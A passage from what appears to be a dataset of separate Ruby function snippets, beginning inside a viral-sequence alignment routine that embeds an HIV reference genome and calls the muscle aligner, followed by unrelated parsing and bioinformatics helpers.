TTGCAACTCACAGTCTGGGGCATCAAACAGCTCCAGGCAAGAATCCTGGCTGTGGAAAGATACCTAAAGGATCAACAGCTCCTGGGGATTTGGGGTTGCTCTGGAAAACTCATTTGCACCACTGCTGTGCCTTGGAATGCTAGTTGGAGTAATAAATCTCTGGAACAGATTTGGAATAACATGACCTGGATGGAGTGGGACAGAGAAATTAACAATTACACAAGCTTAATACACTCCTTAATTGAAGAATCGCAAAACCAGCAAGAAAAGAATGAACAAGAATTATTGGAATTAGATAAATGGGCAAGTTTGTGGAATTGGTTTAACATAACAAATTGGCTGTGGTATATAAAATTATTCATAATGATAGTAGGAGGCTTGGTAGGTTTAAGAATAGTTTTTGCTGTACTTTCTATAGTGAATAGAGTTAGGCAGGGATATTCACCATTATCGTTTCAGACCCACCTCCCAATCCCGAGGGGACCCGACAGGCCCGAAGGAATAGAAGAAGAAGGTGGAGAGAGAGACAGAGACAGATCCATTCGATTAGTGAACGGATCCTTAGCACTTATCTGGGACGATCTGCGGAGCCTGTGCCTCTTCAGCTACCACCGCTTGAGAGACTTACTCTTGATTGTAACGAGGATTGTGGAACTTCTGGGACGCAGGGGGTGGGAAGCCCTCAAATATTGGTGGAATCTCCTACAGTATTGGAGTCAGGAACTAAAGAATAGTGCTGTTAACTTGCTCAATGCCACAGCCATAGCAGTAGCTGAGGGGACAGATAGGGTTATAGAAGTATTACAAGCAGCTTATAGAGCTATTCGCCACATACCTAGAAGAATAAGACAGGGCTTGGAAAGGATTTTGCTATAAGATGGGTGGCAAGTGGTCAAAAAGTAGTGTGATTGGATGGCCTGCTGTAAGGGAAAGAATGAGACGAGCTGAGCCAGCAGCAGATGGGGTGGGAGCAGTATCTCGAGACCTAGAAAAACATGGAGCAATCACAAGTAGCAATACAGCAGCTAACAATGCTGCTTGTGCCTGGCTAGAAGCACAAGAGGAGGAAGAGGTGGGTTTTCCAGTCACACCTCAGGTACCTTTAAGACCAATGACTTACAAGGCAGCTGTAGATCTTAGCCACTTTTTAAAAGAAAAGGGGGGACTGGAAGGGCTAATTCACTCCCAAAGAAGACAAGATATCCTTGATCTGTGGATCTACCACACACAAGGCTACTTCCCTGATTGGCAGAACTACACACCAGGGCCAGGGGTCAGATATCCACTGACCTTTGGATGGTGCTACAAGCTAGTACCAGTTGAGCCAGATAAGGTAGAAGAGGCCAATAAAGGAGAGAACACCAGCTTGTTACACCCTGTGAGCCTGCATGGAATGGATGACCCTGAGAGAGAAGTGTTAGAGTGGAGGTTTGACAGCCGCCTAGCATTTCATCACGTGGCCCGAGAGCTGCATCCGGAGTACTTCAAGAACTGCTGACATCGAGCTTGCTACAAGGGACTTTCCGCTGGGGACTTTCCAGGGAGGCGTGGCCTGGGCGGGACTGGGGAGTGGCGAGCCCTCAGATGCTGCATATAAGCAGCTGCTTTTTGCCTGTACTGGGTCTCTCTGGTTAGACCAGATCTGAGCCTGGGAGCTCTCTGGCTAACTAGGGAACCCACTGCTTAAGCCTCAATAAAGCTTGCCTTGAGTGCTTCAAGTAGTGTGTGCCCGTCTGTTGTGTGACTCTGGTAACTAGAGATCCCTCAGACCCTTTTAGTCAGTGTGGAAAATCTCTAGCACCCAGGAGGTAGAGGTTGCAGTGAGCCAAGATCGCGCCACTGCATTCCAGCCTGGGCAAGAAAACAAGACTGTCTAAAATAATAATAATAAGTTAAGGGTATTAAATATATTTATACATGGAGGTCATAAAAATATATATATTTGGGCTGGGCGCAGTGGCTCACACCTGCGCCCGGCCCTTTGGGAGGCCGAGGCAGGTGGATCACCTGAGTTTGGGAGTTCCAGACCAGCCTGACCAACATGGAGAAACCCCTTCTCTGTGTATTTTTAGTAGATTTTATTTTATGTGTATTTTATTCACAGGTATTTCTGGAAAACTGAAACTGTTTTTCCTCTACTCTGATACCACAAGAATCATCAGCACAGAGGAAGACTTCTGTGATCAAATGTGGTGGGAGAGGGAGGTTTTCACCAGCACATGAGCAGTCAGTTCTGCCGCAGACTCGGCGGGTGTCCTTCGGTTCAGTTCCAACACCGCCTGCCTGGAGAGAGGTCAGACCACAGGGTGAGGGCTCAGTCCCCAAGACATAAACACCCAAGACATAAACACCCAACAGGTCCACCCCGCCTGCTGCCCAGGCAGAGCCGATTCACCAAGACGGGAATTAGGATAGAGAAAGAGTAAGTCACACAGAGCCGGCTGTGCGGGAGAACGGAGTTCTATTATGACTCAAATCAGTCTCCCCAAGCATTCGGGGATCAGAGTTTTTAAGGATAACTTAGTGTGTAGGGGGCCAGTGAGTTGGAGATGAAAGCGTAGGGAGTCGAAGGTGTCCTTTTGCGCCGAGTCAGTTCCTGGGTGGGGGCCACAAGATCGGATGAGCCAGTTTATCAATCCGGGGGTGCCAGCTGATCCATGGAGTGCAGGGTCTGCAAAATATCTCAAGCACTGATTGATCTTAGGTTTTACAATAGTGATGTTACCCCAGGAACAATTTGGGGAAGGTCAGAATCTTGTAGCCTGTAGCTGCATGACTCCTAAACCATAATTTCTTTTTTGTTTTTTTTTTTTTATTTTTGAGACAGGGTCTCACTCTGTCACCTAGGCTGGAGTGCAGTGGTGCAATCACAGCTCACTGCAGCCTCAACGTCGTAAGCTCAAGCGATCCTCCCACCTCAGCCTGCCTGGTAGCTGAGACTACAAGCGACGCCCCAGTTAATTTTTGTATTTTTGGTAGAGGCAGCGTTTTGCCGTGTGGCCCTGGCTGGTCTCGAACTCCTGGGCTCAAGTGATCCAGCCTCAGCCTCCCAAAGTGCTGGGACAACCGGGCCCAGTCACTGCACCTGGCCCTAAACCATAATTTCTAATCTTTTGGCTAATTTGTTAGTCCTACAAAGGCAGTCTAGTCCCCAGCAAAAAGGGGGTTTGTTTCGGGAAAGGGCTGTTACTGTCTTTGTTTCAAACTATAAACTAAGTTCCTCCTAAACTTAGTTCGGCCTACACCCAGGAATGAACAAGGAGAGCTTGGAGGTTAGAAGCACGATGGAATTGGTTAGGTCAGATCTCTTTCACTGTCTGAGTTATAATTTTGCAATGGTGGTTCAAAGACTGCCCGCTTCTGACACCAGTCGCTGCATTAATGAATCGGCCAACGCGCGGGGAGAGGCGGTTTGCGTATTGGGCGCTCTTCCGCTTCCTCGCTCACTGACTCGCTGCGCTCGGTCGTTCGGCTGCGGCGAGCGGTATCAGCTCACTCAAAGGCGGTAATACGGTTATCCACAGAATCAGGGGATAACGCAGGAAAGAACATGTGAGCAAAAGGCCAGCAAAAGGCCAGGAACCGTAAAAAGGCCGCGTTGCTGGCGTTTTTCCATAGGCTCCGCCCCCCTGACGAGCATCACAAAAATCGACGCTCAAGTCAGAGGTGGCGAAACCCGACAGGACTATAAAGATACCAGGCGTTTCCCCCTGGAAGCTCCCTCGTGCGCTCTCCTGTTCCGACCCTGCCGCTTACCGGATACCTGTCCGCCTTTCTCCCTTCGGGAAGCGTGGCGCTTTCTCATAGCTCACGCTGTAGGTATCTCAGTTCGGTGTAGGTCGTTCGCTCCAAGCTGGGCTGTGTGCACGAACCCCCCGTTCAGCCCGACCGCTGCGCCTTATCCGGTAACTATCGTCTTGAGTCCAACCCGGTAAGACACGACTTATCGCCACTGGCAGCAGCCACTGGTAACAGGATTAGCAGAGCGAGGTATGTAGGCGGTGCTACAGAGTTCTTGAAGTGGTGGCCTAACTACGGCTACACTAGAAGGACAGTATTTGGTATCTGCGCTCTGCTGAAGCCAGTTACCTTCGGAAAAAGAGTTGGTAGCTCTTGATCCGGCAAACAAACCACCGCTGGTAGCGGTGGTTTTTTTGTTTGCAAGCAGCAGATTACGCGCAGAAAAAAAGGATCTCAAGAAGATCCTTTGATCTTTTCTACGGGGTCTGACGCTCAGTGGAACGAAAACTCACGTTAAGGGATTTTGGTCATGAGATTATCAAAAAGGATCTTCACCTAGATCCTTTTAAATTAAAAATGAAGTTTTAAATCAATCTAAAGTATATATGAGTAAACTTGGTCTGACAGTTACCAATGCTTAATCAGTGAGGCACCTATCTCAGCGATCTGTCTATTTCGTTCATCCATAGTTGCCTGACTCCCCGTCGTGTAGATAACTACGATACGGGAGGGCTTACCATCTGGCCCCAGTGCTGCAATGATACCGCGAGACCCACGCTCACCGGCTCCAGATTTATCAGCAATAAACCAGCCAGCCGGAAGGGCCGAGCGCAGAAGTGGTCCTGCAACTTTATCCGCCTCCATCCAGTCTATTAATTGTTGCCGGGAAGCTAGAGTAAGTAGTTCGCCAGTTAATAGTTTGCGCAACGTTGTTGCCATTGCTACAGGCATCGTGGTGTCACGCTCGTCGTTTGGTATGGCTTCATTCAGCTCCGGTTCCCAACGATCAAGGCGAGTTACATGATCCCCCATGTTGTGCAAAAAAGCGGTTAGCTCCTTCGGTCCTCCGATCGTTGTCAGAAGTAAGTTGGCCGCAGTGTTATCACTCATGGTTATGGCAGCACTGCATAATTCTCTTACTGTCATGCCATCCGTAAGATGCTTTTCTGTGACTGGTGAGTACTCAACCAAGTCATTCTGAGAATAGTGTATGCGGCGACCGAGTTGCTCTTGCCCGGCGTCAATACGGGATAATACCGCGCCACATAGCAGAACTTTAAAAGTGCTCATCATTGGAAAACGTTCTTCGGGGCGAAAACTCTCAAGGATCTTACCGCTGTTGAGATCCAGTTCGATGTAACCCACTCGTGCACCCAACTGATCTTCAGCATCTTTTACTTTCACCAGCGTTTCTGGGTGAGCAAAAACAGGAAGGCAAAATGCCGCAAAAAAGGGAATAAGGGCGACACGGAAATGTTGAATACTCATACTCTTCCTTTTTCAATATTATTGAAGCATTTATCAGGGTTATTGTCTCATGAGCGGATACATATTTGAATGTATTTAGAAAAATAAACAAATAGGGGTTCCGCGCACATTTCCCCGAAAAGTGCCACCTGACGTCTAAGAAACCATTATTATCATGACATTAACCTATAAAAATAGGCGTATCACGAGGCCCTTTCGTCTCGCGCGTTTCGGTGATGACGGTGAAAACCTCTGACACATGCAGCTCCCGGAGACGGTCACAGCTTGTCTGTAAGCGGATGCCGGGAGCAGACAAGCCCGTCAGGGCGCGTCAGCGGGTGTTGGCGGGTGTCGGGGCTGGCTTAACTATGCGGCATCAGAGCAGATTGTACTGAGAGTGCACCATATGCGGTGTGAAATACCGCACAGATGCGTAAGGAGAAAATACCGCATCAGGCGCCATTCGCCATTCAGGCTGCGCAACTGTTGGGAAGGGCGATCGGTGCGGGCCTCTTCGCTATTACGCCAGGGGAGGCAGAGATTGCAGTAAGCTGAGATCGCAGCACTGCACTCCAGCCTGGGCGACAGAGTAAGACTCTGTCTCAAAAATAAAATAAATAAATCAATCAGATATTCCAATCTTTTCCTTTATTTATTTATTTATTTTCTATTTTGGAAACACAGTCCTTCCTTATTCCAGAATTACACATATATTCTATTTTTCTTTATATGCTCCAGTTTTTTTTAGACCTTCACCTGAAATGTGTGTATACAAAATCTAGGCCAGTCCAGCAGAGCCTAAAGGTAAAAAATAAAATAATAAAAAATAAATAAAATCTAGCTCACTCCTTCACATCAAAATGGAGATACAGCTGTTAGCATTAAATACCAAATAACCCATCTTGTCCTCAATAATTTTAAGCGCCTCTCTCCACCACATCTAACTCCTGTCAAAGGCATGTGCCCCTTCCGGGCGCTCTGCTGTGCTGCCAACCAACTGGCATGTGGACTCTGCAGGGTCCCTAACTGCCAAGCCCCACAGTGTGCCCTGAGGCTGCCCCTTCCTTCTAGCGGCTGCCCCCACTCGGCTTTGCTTTCCCTAGTTTCAGTTACTTGCGTTCAGCCAAGGTCTGAAACTAGGTGCGCACAGAGCGGTAAGACTGCGAGAGAAAGAGACCAGCTTTACAGGGGGTTTATCACAGTGCACCCTGACAGTCGTCAGCCTCACAGGGGGTTTATCACATTGCACCCTGACAGTCGTCAGCCTCACAGGGGGTTTATCACAGTGCACCCTTACAATCATTCCATTTGATTCACAATTTTTTTAGTCTCTACTGTGCCTAACTTGTAAGTTAAATTTGATCAGAGGTGTGTTCCCAGAGGGGAAAACAGTATATACAGGGTTCAGTACTATCGCATTTCAGGCCTCCACCTGGGTCTTGGAATGTGTCCCCCGAGGGGTGATGACTACCTCAGTTGGATCTCCACAGGTCACAGTGACACAAGATAACCAAGACACCTCCCAAGGCTACCACAATGGGCCGCCCTCCACGTGCACATGGCCGGAGGAACTGCCATGTCGGAGGTGCAAGCACACCTGCGCATCAGAGTCCTTGGTGTGGAGGGAGGGACCAGCGCAGCTTCCAGCCATCCACCTGATGAACAGAACCTAGGGAAAGCCCCAGTTCTACTTACACCAGGAAAGGC\"\n hxb2_l = hxb2_ref.size\n head = \"\"\n 8.times {head << (65 + rand(25)).chr}\n temp_file = temp_dir + \"/temp\"\n temp_aln = temp_dir + \"/temp_aln\"\n\n l1 = 0\n l2 = 0\n name = \">test\"\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts hxb2_ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test2 = $2\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n ref_size = ref.size\n if ref_size > 1.3*(seq.size)\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n max_seq = aln_test2.scan(/[ACGT]+/).max_by(&:length)\n aln_test2 =~ /#{max_seq}/\n before_aln_seq = $`\n before_aln = $`.size\n post_aln_seq = $'\n post_aln = $'.size\n before_aln_seq_size = before_aln_seq.scan(/[ACGT]+/).join(\"\").size\n b1 = (1.3 * before_aln_seq_size).to_i\n post_aln_seq_size = post_aln_seq.scan(/[ACGT]+/).join(\"\").size\n b2 = (1.3 * post_aln_seq_size).to_i\n if (before_aln > seq.size) and (post_aln <= seq.size)\n ref = ref[(before_aln - b1)..(ref_size - post_aln - 1)]\n l1 = l1 + (before_aln - b1)\n elsif (post_aln > seq.size) and (before_aln <= seq.size)\n ref = ref[before_aln..(ref_size - post_aln - 1 + b2)]\n l2 = l2 + post_aln - b2\n elsif (post_aln > seq.size) and (before_aln > seq.size)\n ref = ref[(before_aln - b1)..(ref_size - post_aln - 1 + b2)]\n l1 = l1 + (before_aln - b1)\n l2 = l2 + (post_aln - b2)\n end\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test2 = $2\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n ref_size = ref.size\n end\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test = $2\n aln_test =~ /^(\\w+)(\\-*)\\w/\n s1 = $1.size\n g1 = $2.size\n aln_test =~ /\\w(\\-*)(\\w+)$/\n s2 = $2.size\n g2 = $1.size\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n repeat = 0\n\n if g1 == g2 and (s1 + g1 + s2) == ref.size\n if s1 > s2 and g2 > 2*s2\n ref = ref[0..(-g2-1)]\n repeat = 1\n l2 = l2 + g2\n elsif s1 < s2 and g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n else\n if g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n if g2 > 2*s2\n ref = ref[0..(-g2 - 1)]\n repeat = 1\n l2 = l2 + g2\n end\n end\n\n while repeat == 1\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test = $2\n aln_test =~ /^(\\w+)(\\-*)\\w/\n s1 = $1.size\n g1 = $2.size\n aln_test =~ /\\w(\\-*)(\\w+)$/\n s2 = $2.size\n g2 = $1.size\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n repeat = 0\n if g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n if g2 > 2*s2\n ref = ref[0..(-g2 - 1)]\n repeat = 1\n l2 = l2 + g2\n end\n end\n ref = hxb2_ref[l1..(hxb2_l - l2 - 1)]\n\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n ref = aln_seq[\">ref\"]\n\n #refine alignment\n\n if ref =~ /^(\\-+)/\n l1 = l1 - $1.size\n elsif ref =~ /(\\-+)$/\n l2 = l2 + $1.size\n end\n l1 = 0 if l1 < 0\n if (hxb2_l - l2 - 1) >= l1\n ref = hxb2_ref[l1..(hxb2_l - l2 - 1)]\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n ref = aln_seq[\">ref\"]\n\n ref_size = ref.size\n sim_count = 0\n (0..(ref_size-1)).each do |n|\n ref_base = ref[n]\n test_base = aln_test[n]\n sim_count += 1 if ref_base == test_base\n end\n similarity = (sim_count/ref_size.to_f*100).round(1)\n print `rm -f #{temp_file}`\n print `rm -f #{temp_aln}`\n loc_p1 = l1 + 1\n loc_p2 = hxb2_l - l2\n if seq.size != (loc_p2 - loc_p1 + 1)\n indel = true\n elsif aln_test.include?(\"-\")\n indel = true\n end\n return [loc_p1,loc_p2,similarity,indel,aln_test,ref]\n else\n return [0,0,0,0,0,0,0]\n end\nrescue\n return [0,0,0,0,\"N\",\"N\"]\nend",
"def parse(lines)\n lines.map do |line|\n line =~ /Sensor at x=(-?\\d+), y=(-?\\d+): closest beacon is at x=(-?\\d+), y=(-?\\d+)/\n sensor = Point.new(::Regexp.last_match(1).to_i, ::Regexp.last_match(2).to_i)\n beacon = Point.new(::Regexp.last_match(3).to_i, ::Regexp.last_match(4).to_i)\n [sensor, beacon, sensor.manhattan_distance(beacon)]\n end\n end",
"def parse_clue(board, i, hv)\n combs_pre = combs_for_hint_value(hv)\n combs = remove_invalid_combs(board, i, combs_pre)\n coords = hint_idx_to_coord(i)\n\n coords.map.with_index do |coord, idx|\n possibilities = combs.map{ |a| a[idx] }.uniq\n {x: coord[:x], y: coord[:y], possibilities: possibilities}\n end\nend",
"def characters_in_split_arrays\n array_of_lines = recieve_and_read_file.split(\"\\n\")\n row_one = array_of_lines[0].scan(/../).to_a\n row_two = array_of_lines[1].scan(/../).to_a\n row_three = array_of_lines[2].scan(/../).to_a\n row_one.zip(row_two, row_three)\n end",
"def read_buffer; end",
"def hash_char_positions\n hash_positions= []\n @lines.each_with_index do |line, line_index|\n line.enum_for(:scan, /#/).each do\n hash_positions << [line_index, Regexp.last_match.begin(0)]\n end\n end\n if hash_positions.count != 2\n raise ArgumentError, \"Incorrect hash symbol number!!! except exactly two hash symbols.\"\n end\n hash_positions\n end",
"def parse_block(b)\n results = {}\n b.each do |line|\n\n if line =~ /^Location \\[(\\d+),(\\d+)\\]$/\n results['beginning'] = $1\n results['end'] = $2\n elsif line =~ /^tmRNA Sequence in\\s(\\w+)/\n results['sequence_acc'] = $1\n elsif line =~ /^Tag peptide:\\s+(.+)/\n results['tag_peptide'] = $1\n end\n end\n\n return results\n end",
"def all_matches( re, what )\n matches = []\n m = true\n\n matches << OpenStruct.new({\n :match => \"!fake!\",\n :start => 0,\n :end => 0,\n :fake => true\n })\n\n while m\n if matches.size == 1\n m = what.match(re)\n else\n m = (@@allMatchesSpecialChar + what).match(re)\n end\n\n if m\n pos = what.index(m[0])\n\n if pos > 0\n matches << OpenStruct.new({\n :match => what[0, pos],\n :start => matches.last.end,\n :end => matches.last.end + pos,\n :plain => true\n })\n end\n\n matches << OpenStruct.new({\n :match => m[0],\n :start => matches.last.end,\n :end => matches.last.end + m[0].length\n })\n\n what = what[pos + m[0].length..-1]\n end\n end\n\n if what.length > 0\n matches << OpenStruct.new({\n :match => what,\n :start => matches.last.end,\n :end => matches.last.end + what.length,\n :plain => true\n })\n end\n\n matches\n end",
"def split_output_of_extracted_comment(output)\n output\n .lines\n .slice_before(/^ =====([^=\\n]+)=====$/)\n .map do |comment|\n Struct::Comment.new(\n comment[0].gsub(/^ =====|=====$/, ''),\n comment[1..-1].join('')\n )\n end\nend",
"def buffer\n Readline::HISTORY.to_a\n end",
"def process_each_comment comment\n\n\tquote1_markerstring = \"\\r\\n\\r\\n\"\n\tquote2_markerstring = \"\\r\\n\"\n\n\tquote = comment[/#{quote1_markerstring}(.*?)#{quote2_markerstring}/m, 1].strip\n\tbookname_and_page = comment.split(\"|\").first\n\n\ttmp = bookname_and_page.split(\"\\r\\n\")\n\tbookname = tmp.first.strip\n\tpage = tmp.last.strip\n\t[quote,bookname,page]\n\nend",
"def getk_response_from_buffer(buf)\n # There's no header in the buffer, so don't advance\n return [0, nil, nil, nil, nil] unless contains_header?(buf)\n\n tokens, header_len, body_len = tokens_from_header_buffer(buf)\n\n # We have a complete response that has no body.\n # This is either the response to the terminating\n # noop or, if the status is not MN, an intermediate\n # error response that needs to be discarded.\n return [header_len, true, nil, nil, nil] if body_len.zero?\n\n resp_size = header_len + body_len + TERMINATOR.length\n # The header is in the buffer, but the body is not. As we don't have\n # a complete response, don't advance the buffer\n return [0, nil, nil, nil, nil] unless buf.bytesize >= resp_size\n\n # The full response is in our buffer, so parse it and return\n # the values\n body = buf.slice(header_len, body_len)\n full_response_from_buffer(tokens, body, resp_size)\n end",
"def create_buffer(contents)\n end",
"def parse\n start_x = 0\n start_y = 0\n\n @maze.each_with_index do |line, index|\n if line.include? 'S'\n start_y = line.index('S')\n start_x = index\n break\n end\n end\n [start_x, start_y]\n end",
"def loci\n CSV.read(@file).map do |row|\n {\n :name => row[@columns[:name]],\n :target => row[@columns[:target]],\n :strand => STRAND_TOKENS[row[@columns[:strand]]],\n :start => row[@columns[:start]].to_i - 1, # This arithmetic gives\n :stop => row[@columns[:stop]].to_i, # inclusive, one-indexed\n # slices\n }\n end\n end",
"def positions(passes) = passes.map { find_position(_1) }",
"def list_buffers\n arr = []\n @_buffers_conf.each_with_index do |e, i|\n t = e[:title] || \"no title for #{i}\"\n #$log.debug \" TITLE is #{e.title} , t is #{t} \"\n arr << t\n end\n ix = popuplist arr\n buffer_at ix\n end",
"def build_signature_buffer(result); end",
"def build_signature_buffer(result); end",
"def findAllPepLocations\n hits = @doc.xpath(\"//#{@xmlns}search_hit\")\n all = []\n @locations = []\n i = 0\n \n # Parses out each peptide and protein\n hits.each do |hit|\n all << [hit.xpath(\"./@peptide\").to_s, proteinID(hit.xpath(\"./@protein\").to_s)]\n i += 1\n end\n \n all.uniq!\n dataHash = Hash.new\n \n Ms::Fasta.foreach(@database) do |entry|\n @sequences += 1\n pID = proteinID(entry.header)\n dataHash[pID] = entry.sequence\n @proteinIndices << pID\n end\n \n all.each do |set|\n if dataHash[set[1]] != nil\n startVal = dataHash[set[1]].scan_i(set[0])[0]\n \n if startVal != nil\n @locations << [set[0], set[1], startVal + 1, startVal + set[0].length]\n end\n end\n end\n end",
"def get_data\n xd = @data[0..3].unpack(\"C*\")\n xd = Shared::interpret_bytes_4(xd)\n yd = @data[4..7].unpack(\"C*\")\n yd = Shared::interpret_bytes_4(yd)\n unit = @data[8].unpack(\"C*\")[0]\n\n if !(unit == 0 || unit == 1)\n warn \"Unrecognised unit value for pHYs chunk: #{unit}.\"\n end\n\n return [xd, yd, unit]\n end",
"def ats\n abtAts.unpack 'C*'\n end",
"def results\n bc = buffer.source_lines.map { |line| '-' * line.size }\n each_node do |node|\n runs = node_runs(node)\n next if runs == nil\n node.proper_range.each do |pos|\n bc[buffer.line_for_position(pos) - buffer.first_line][buffer.column_for_position(pos)] = runs > 0 ? ' ' : 'x'\n end\n end\n bc.zip(buffer.source_lines) { |cov, line| cov[line.size..-1] = '' } # remove extraneous character for end lines, in any\n bc\n end",
"def orf_find(prediction = @prediction)\n\n if prediction.seq_type != \"nucleotide\"\n \"-\"\n end\n \n #stop codons\n stop_codons = [\"TAG\", \"TAA\", \"TGA\"]\n #minimimum ORF length\n orf_length = 100\n \n seq = prediction.raw_sequence\n stops = {}\n result = {}\n\n stop_codons.each do |codon|\n occurences = (0 .. seq.length - 1).find_all { |i| seq[i,3].downcase == codon.downcase }\n occurences.each do |occ|\n stops[occ + 3] = codon\n end\n end\n\n\n #direct strand\n stop_positions = stops.map{|x| x[0]}\n result[\"+1\"] = []\n result[\"+2\"] = []\n result[\"+3\"] = []\n result[\"-1\"] = []\n result[\"-2\"] = []\n result[\"-3\"] = []\n\n #reading frame 1, direct strand\n m3 = stops.map{|x| x[0]}.select{|y| y % 3 == 0}.sort\n m3 = [1, m3, prediction.raw_sequence.length].flatten\n #puts \"multiple of 3: #{m3.to_s}\"\n (1..m3.length-1).each do |i|\n if m3[i] - m3[i-1] > orf_length\n# result[[m3[i-1], m3[i]]] = \"+1\"\n result[\"+1\"].push([m3[i-1], m3[i]])\n end\n end\n \n #reading frame 2, direct strand\n m3_1 = stops.map{|x| x[0]}.select{|y| y % 3 == 1}.sort\n m3_1 = [2, m3_1, prediction.raw_sequence.length].flatten\n #puts \"multiple of 3 + 1: #{m3_1.to_s}\"\n (1..m3_1.length-1).each do |i|\n if m3_1[i] - m3_1[i-1] > orf_length\n# result[[m3_1[i-1], m3_1[i]]] = \"+2\"\n result[\"+2\"].push([m3_1[i-1], m3_1[i]])\n end\n end\n\n #reading frame 3, direct strand\n m3_2 = stops.map{|x| x[0]}.select{|y| y % 3 == 2}.sort\n m3_2 = [3, m3_2, prediction.raw_sequence.length].flatten\n #puts \"multiple of 3 + 2: #{m3_2.to_s}\"\n (1..m3_2.length-1).each do |i|\n if m3_2[i] - m3_2[i-1] > orf_length\n# result[[m3_2[i-1], m3_2[i]]] = \"+3\"\n result[\"+3\"].push([m3_2[i-1], m3_2[i]])\n end\n end\n\n #reverse strand\n stops_reverse = {}\n seq_reverse = seq.reverse.downcase.gsub('a','T').gsub('t','A').gsub('c','G').gsub('g','C')\n stop_codons.each do |codon|\n occurences = (0 .. seq_reverse.length - 1).find_all { |i| seq_reverse[i,3].downcase == codon.downcase }\n #puts \"-1 #{codon}: #{occurences.to_s}\"\n occurences.each do |occ|\n stops_reverse[occ + 3] = codon\n end\n end\n\n stop_positions_reverse = stops_reverse.map{|x| x[0]}\n m3 = stops_reverse.map{|x| x[0]}.select{|y| y % 3 == 0}.sort\n m3 = [1, m3, prediction.raw_sequence.length].flatten\n #puts \"-1 multiple of 3: #{m3.to_s}\"\n (1..m3.length-1).each do |i|\n if m3[i] - m3[i-1] > orf_length\n# result[[m3[i-1], m3[i]]] = \"-1\"\n result[\"-1\"].push([m3[i-1], m3[i]])\n end\n end\n\n m3_1 = stops_reverse.map{|x| x[0]}.select{|y| y % 3 == 1}.sort\n m3_1 = [2, m3_1, prediction.raw_sequence.length].flatten\n #puts \"-1 multiple of 3 + 1: #{m3_1.to_s}\"\n (1..m3_1.length-1).each do |i|\n if m3_1[i] - m3_1[i-1] > orf_length\n result[\"-2\"].push([m3_1[i-1], m3_1[i]])\n end\n end\n\n m3_2 = stops_reverse.map{|x| x[0]}.select{|y| y % 3 == 2}.sort\n m3_2 = [3, m3_2, prediction.raw_sequence.length].flatten\n #puts \"-1 multiple of 3 + 2: #{m3_2.to_s}\"\n (1..m3_2.length-1).each do |i|\n if m3_2[i] - m3_2[i-1] > orf_length\n result[\"-3\"].push([m3_2[i-1], m3_2[i]])\n# result[[m3_2[i-1], m3_2[i]]] = \"-3\"\n end\n end\n\n result\n end",
"def get_character_films_array(character_hash, character)\n character_films_array = []\n character_hash[\"results\"].each do |char|\n if character == char[\"name\"]\n character_films_array = char[\"films\"]\n end\n end\n character_films_array\nend",
"def sequence_locator(ref_option = :HXB2)\n out_array = []\n dna_seq = self.dna_hash\n title = self.title\n\n uniq_dna = dna_seq.uniq_hash\n\n uniq_dna.each do |seq,names|\n s = ViralSeq::Sequence.new('',seq)\n loc1 = s.locator(ref_option)\n s.rc!\n loc2 = s.locator(ref_option)\n loc1[2] >= loc2[2] ? (direction = :+; loc = loc1): (direction = :-; loc = loc2)\n\n names.each do |name|\n out_array << ([title, name, ref_option.to_s, direction.to_s] + loc)\n end\n end\n return out_array\n end",
"def my_array_finding_method(source, thing_to_find)\n result = [] # result is the output array\n source.each do |word|\n word_array = word.to_s.split(//) # This creates an array of charaters of 'word'\n if word_array.include?(thing_to_find)\n result.push(word)\n end\n end\n return result\nend",
